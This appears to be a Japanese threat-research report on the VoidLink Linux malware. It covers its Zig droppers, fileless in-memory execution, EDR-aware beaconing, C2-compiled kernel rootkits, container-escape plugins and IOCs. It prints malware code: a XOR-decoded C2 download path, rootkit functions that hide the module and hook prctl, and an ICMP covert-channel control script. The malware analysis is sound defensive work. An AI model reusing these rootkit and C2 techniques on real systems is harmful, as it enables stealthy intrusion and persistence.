VoidLink脅威分析：SysdigがC2でコンパイルされるカーネルルートキットを発見

ステージ0：初期ドロッパー

ステージ0ローダーは、感染をブートストラップするZigで書かれた最小9KBのExecutable and Linkable Format（ELF）バイナリです。この単純さは意図的で、バイナリが小さいほど注目を集めにくく、残るアーティファクトも少なくなります。

実行されると、ステージ0は次の操作を行います：

1. forkし、prctl(PR_SET_NAME)を使って[kworker/0:0]になりすます。
2. HTTP経由でC2に接続し、/stage1.binをダウンロードする。
3. ファイルレス手法を用いて、ペイロードを完全にメモリ上で実行する。

syscallのシーケンスは非常に特徴的です：

fork(57)          → 子プロセスを作成
prctl(157)        → プロセス名を[kworker/0:0]に設定
socket(41)        → TCPソケットを作成
connect(42)       → C2サーバーへ接続
recvfrom(45)      → /stage1.binペイロードを受信
memfd_create(319) → 匿名メモリファイルを作成
write(1)          → ペイロードをmemfdへ書き込み
execveat(322)     → メモリfdから実行

memfd_createの後にexecveatを続けるのは、ファイルレス実行のよく知られた組み合わせ手法です。これに先行する、カーネルスレッド名を用いたprctl(PR_SET_NAME)は特に不審です。正当なカーネルスレッドは、/proc/<pid>/exeに実行パスを持つことは多くありません。

C2設定のエンコード

C2アドレスはXORキー0xAAで難読化されています：

encoded = bytes.fromhex("92849b9e93839b989284...")
decoded = bytes([b ^ 0xAAfor b in encoded])
# Result: b'8.149.128.10/stage1.bin HTTP/1.1\r\nHost: '

ポート（8080）は別に保存され、rolw $8, %cxでバイトスワップされています。この軽微な難読化により単純な文字列抽出は難しくなりますが、逆解析は容易です。

ステージ1：インプラント・ドロッパー

ステージ1はステージ0と同じ9KBサイズおよびZigツールチェーンを共有します。主な違いはHTTP Rangeヘッダーのサポートで、これによりより大きなインプラント・バイナリの再開可能なダウンロードが可能になります。

Rangeヘッダーのサポートは実用的な選択です。インプラントは1.2MBで、ダウンロードが中断しても再開でき、最初からやり直す必要がありません。パス/implant.binは2つの文字列断片から実行時に構築され、これは基本的なアンチ文字列手法です。

memfd_create("", MFD_CLOEXEC)  → fd 3write(3, implant_data, size)
execveat(3, "", argv, envp, AT_EMPTY_PATH)

セキュリティ製品の検出

インプラントは2つの方法でセキュリティ製品をスキャンします：/proc/<pid>/commによるプロセス列挙と、インストールパスのプローブです。

さらに、VoidLinkは2つの動的解析ツールもチェックします。人気の動的インストルメンテーション・ツールキットであるFridaについては、frida-agentおよびfrida-gadgetプロセスを探し、/proc/self/mapsをスキャンしてロード済みのFridaライブラリを確認します。デバッガ検出では、/proc/self/statusのTracerPidフィールドをチェックします。このフィールドには、ptraceを介して現在のプロセスをトレースしているプロセスのプロセスIDが含まれます。値が0であればトレーサは付いておらず、0以外であればgdb, strace、またはセキュリティツールなどのデバッガが能動的に付いていることを意味します。

なお、Sysdig Secureは表に記載されたプロセス名を使用しません。ただし、これはシステムコールを記録できるsysdig OSSツールの名称です。 

リスクに基づくタイミング調整

検知・対応製品が検出されると、VoidLinkはビーコンのタイミングを変更して検出確率を下げます：

リバースエンジニアリング中、逆アセンブルされたバイナリから使用されている正確な値が明らかになります：

; いずれかのEDRが検出されたか確認 (rbx = count)
0x108b721: testq %rbx, %rbx
0x108b728: je    no_detections

; 高リスク - EDR検出
0x108b758: movl $0x400, ...      ; base_delay = 1024ms
0x108b76e: movl $0x1388, %r14d   ; max_delay = 5000ms
0x108b774: movl $0x3e99999a, ... ; jitter = 0.3 (30%)
0x108b77e: movb $0x2, %al        ; mode = 2 (paranoid)

; 低リスク - 未検出
0x108b788: movl $0x1000, ...     ; base_delay = 4096ms
0x108b79e: movl $0x3e8, %r14d    ; max_delay = 1000ms
0x108b7a4: movl $0x3e4ccccd, ... ; jitter = 0.2 (20%)
0x108b7ae: movb $0x1, %al        ; mode = 1 (aggressive)

‍

利用可能な回避戦略

文字列から見つかった追加の回避トグルには、営業時間のみ活動するためのworking_hours.enabled、トラフィックパターンを合わせるためのtraffic_shaping.enabled、そしてHTTP、WebSocket、Internet Control Message Protocol（ICMP）チャネル間をホットスイッチするための protocol_switchがあります。

展開の意思決定ロジック

フレームワークは適切なステルスメカニズムを自動選択します：

• カーネル6.x+：eBPFをリモートコンパイルし、ss_loaderで展開
• カーネル5.x：eBPFとロード可能カーネルモジュール（LKM）を組み合わせたハイブリッドモード
• 旧カーネル：LKMをリモートコンパイルし、finit_moduleでロード

サーバーサイド・ルートキット・コンパイル（SRC）

VoidLinkインプラントはカーネルモジュールを直接埋め込みません。代わりに、POSTで/compileへ送信し、C2サーバーにカーネル固有のビルドを要求します：

{
"kernel_release": "6.1.0-generic",
"hidden_ports": [4444, 8080],
"has_gcc": true,
"has_clang": false,
"has_headers": true}

C2は標的カーネルに適したコンパイル済みモジュールを返します：

{
"module_type": "ebpf",
"ebpf_data": "<base64-encoded .o file>",
"needs_ebpf_ss": true}

この未見の設計により、クライアント側でCompile Once, Run Everywhere（CO-RE）の複雑さを抱えることなく、インプラントを小さく保ち、カーネル互換性を確保できます。C2サーバーは一般的なカーネルバージョン向けにコンパイル済みモジュールをキャッシュできます。

カーネル可搬性への新しいアプローチ

カーネルモジュールは特定のカーネルヘッダーに対してコンパイルする必要があり、LKMルートキットにとって可搬性の課題となります。VoidLinkのSRCアプローチは、文書化されたマルウェアとしては前例がないように見えます：

SRCは、インプラントを肥大化させたり標的にビルドツールを要求したりすることなく、カーネル可搬性の問題を解決します。C2はインプラントを再展開せずにルートキットコードを更新でき、モジュールはオンデマンドでコンパイルされるため、静的シグネチャを減らせます。

セルフコンパイル・バリアント：埋め込みアセット

より大きい1.9MBのバリアントは、ルートキット展開に別のアプローチを取ります。ソースコード（約700KB）とgzip圧縮された事前コンパイル済みバイナリ（約800KB）の両方を埋め込みます：

展開のフォールバックチェーンは、まずローカルコンパイル（gccとカーネルヘッダーが利用可能な場合）を試み、次に事前コンパイル済みvl_stealth.koを抽出してfinit_module()でロードし、ss_loaderを/tmp/.vl_ss_loaderへ抽出してeBPFを展開します。

LKMのフック対象

カーネルモジュール（vl_stealth.ko）は、インプラントの存在を隠すために複数のフックタイプを実装します。

syscallテーブルフック：

Kretprobeフック：

モジュールの自己隠蔽

モジュールは標準的な列挙から自分自身を除外し、防御側が異常なカーネルモジュールを特定しにくくします。Linuxカーネルは、modulesグローバル変数を起点とする、ロード済みモジュールの双方向リンクリストを維持しています。このリストは/proc/modulesが走査し、結果としてlsmodが表示するものです。各ロード済みモジュールは、このチェーンにリンクするlistメンバーを含むstruct moduleで表現されます。このリストから自分自身をアンリンクすることで、モジュールはメモリ上で完全に機能したまま、標準的な列挙ツールから不可視になります：

staticvoidhide_module(void) {
    list_del_init(&THIS_MODULE->list);      // /proc/modulesから隠す    kobject_del(&THIS_MODULE->mkobj.kobj);  // /sys/module/から隠す}
MODULE_LICENSE("GPL");
MODULE_INFO(intree, "Y");  // in-treeモジュールのふりをする

MODULE_INFO(intree, "Y")ディレクティブにより、モジュールは外部ロードされたモジュールではなく正当なカーネルコンポーネントのように見え、「O」（out-of-tree）のtaintフラグを回避します。

prctlマジック・インターフェース

これはルートキットへのローカル・インターフェースで、インプラントが変更を加えられるようにします。カーネルモジュールはprctlをフックし、マジックなオプション値0x564C（ASCII「VL」）に応答します：

#define PRCTL_MAGIC 0x564C
static asmlinkage long hk_prctl(int option, unsigned long arg2, ...) {
if (option == PRCTL_MAGIC) {
        int cmd = (int)arg2;
switch (cmd) {
case1: add_hidden_port(arg3); break;
case2: add_hidden_pid(arg3); break;
case3: add_hidden_file((char*)arg3); break;
case4: clear_all_hiding(); break;
        }
return0;
    }
return orig_prctl(option, arg2, arg3, arg4, arg5);
}

これはネットワーク通信を必要としないユーザー空間の制御インターフェースを提供し、脅威アクターが検知をより回避しやすくします。

ICMP秘匿チャネル

最も興味深い制御メカニズムは、ICMPエコーパケット経由でコマンドを送れる点です。これにより、他のアクセスがすべて失われても、コマンドをリモートからインプラントへ送信できます。VoidLinkは、IDフィールドにマジック値0xC0DEを含むpingパケット（ICMP type 8）を待ち受けます。

さらに興味深いのは、マルウェア作者が完全なPython制御スクリプトをバイナリに直接埋め込んでいたことです：

import socket,struct,sys
s=socket.socket(socket.AF_INET,socket.SOCK_RAW,1)
magic=0xC0DEkey=0x42cmd=int(sys.argv[2])
data=bytes.fromhex(sys.argv[3]) if len(sys.argv)>3else b''payload=struct.pack('>HBB',magic,cmd,key)+data
# ... checksum calculation ...
s.sendto(icmp,(sys.argv[1],0))

これにより、主要なHTTP C2パスがブロックされてもアウトオブバンド制御が可能になります。標的へのICMP到達性だけが必要で、脅威アクターは静かに持続できます。

制御チャネルのコマンド対応

興味深い癖として、prctlとICMPのインターフェースでは、ポートとProportional, Integral, and Derivative（PID）操作のコマンド番号が異なり（入れ替わっています）。これはコードパスが独立に進化したことを示唆します。

環境検出

コンテナ脱出プラグイン

docker_escape_v3プラグインは脱出機会を探索します。おそらく、マウントされたDockerソケット（/var/run/docker.sock）、特権コンテナ検出（--privileged）、機微なホストパスのマウント（/, /etc, /root）、カーネルエクスプロイトの適用可能性、cgroupのrelease_agent悪用などが含まれます。

Kubernetes権限昇格

k8s_privesc_v3プラグインは設定不備をスキャンします。おそらく、過度に権限のあるサービスアカウントトークン、特権的なPodセキュリティコンテキスト、ホスト名前空間へのアクセス（hostPID, hostNetwork）、書き込み可能なhostPathマウント、Role-Based Access Control（RBAC）の設定不備（シークレットアクセスやPod作成を許す）などが含まれます。

このコンテナ脱出とKubernetes権限昇格機能の組み合わせにより、コンテナ分離が主要なセキュリティ境界であるクラウドネイティブ環境において、VoidLinkは特に懸念されます。

中国語ネイティブの技術ドキュメント

埋め込まれたカーネルモジュールのソースには、機械翻訳ではない技術的に正確な中国語コメントが多数含まれています：

// ============= 稳定性增强: 符号查找 =============// (安定性強化：シンボル検索)
// 方式1: 直接查找 (kallsyms_lookup_name - pre-5.7)// 方式2: 使用 kprobe 直接查找 (5.7+)// 方式3-5: Try compiler-mangled variants (.isra.X, .constprop.X, .part.X)
MODULE_INFO(intree, "Y");  // taint警告を回避// (taint警告を回避)

コメントは、kallsyms_lookup_nameがエクスポートされなくなったLinux 5.7の変更を認識しているなど、カーネル開発に関する実際の知識も示しており、kprobeベースの回避策が必要になります。

AI支援開発の評価

コード分析は、人間主導・AI支援の開発モデル（AI支援の確率は推定70〜80%）を示唆します。

AI支援の証拠：

• すべてのモジュールで完全に一貫した書式の、過度に体系的なデバッグ出力。
• プレースホルダーデータ（「John Doe」）は、LLMの学習例がデコイ応答テンプレートに埋め込まれた典型例です。
• すべてが_v3（BeaconAPI_v3, docker_escape_v3, timestomp_v3）という一様なAPIバージョニング。
• あらゆる可能なフィールドを網羅するテンプレート的なJSONレスポンス。

人間の専門性の証拠：

• カーネルモジュール全体にわたる中国語ネイティブの技術コメント。
• 深いカーネル開発知識（kretprobe、netfilterフック、kallsyms互換性）。
• 実際のレッドチーム経験を反映した運用上の技巧（マジックバイト、再開可能ダウンロード、複数のフォールバックパス）。
• Zigツールチェーンの意図的な選択。

最も可能性が高いシナリオは、熟練した中国語話者の開発者が、AIを用いて開発を加速（ボイラープレート、デバッグログ、JSONテンプレートの生成）しつつ、セキュリティの専門性とアーキテクチャは自ら提供した、というものです。

なぜZigなのか？

VoidLinkはZigプログラミング言語で構築されており、これは攻撃的ツールにおける増加傾向を反映した珍しい選択です。Zigはガベージコレクションなしでのメモリ安全性、Cに近い低レベル制御、組み込みのクロスコンパイルを提供します。脅威アクターにとってより重要なのは、Zigバイナリは従来のC/C++実行ファイルよりも構造が認識されにくく、ヒューリスティックやシグネチャベースの検知エンジンを混乱させる点です。

この選択は意図的です。静的リンクされたZigバイナリはランタイム依存なしにどこでも動作し、セキュリティツールはまだZig特有のパターンに十分チューニングされていません。VoidLinkは、中国語話者の脅威アクターに帰属されるZigベースのマルウェアとして初めて文書化されたものと思われます。

ファイルハッシュ（SHA256）

ローダーとインプラント：

抽出されたモジュール：

ネットワーク指標

C2サーバー：

C2エンドポイント：

• POST /api/v2/handshake
• POST /api/v2/sync
• GET /api/v2/heartbeat
• POST /compile
• GET /stage1.bin
• GET /implant.bin

User-agent文字列：

• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
• Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
• Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/605.1.15
• Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0

ファイルシステムのアーティファクト

ドロップ先：

• /tmp/.vl_ss_loader
• /tmp/.vl_k[3-6].ko
• /tmp/.vl_cmd.sh
• /tmp/.vl_config
• /tmp/.font-unix/.tmp.ko
• /tmp/.font-unix/.cmd.sh

ステージングパス：

• /dev/shm/.x
• /dev/shm/.pulse-*
• /dev/shm/.vl_*
• /tmp/.x
• /var/tmp/.vl_*

プロセス指標

なりすまし名：

• [kworker/0:0]
• [kworker/0:1]
• [kworker/u8:0]
• [kworker/u16:0]
• migration/0
• watchdog/0
• rcu_sched

マジック値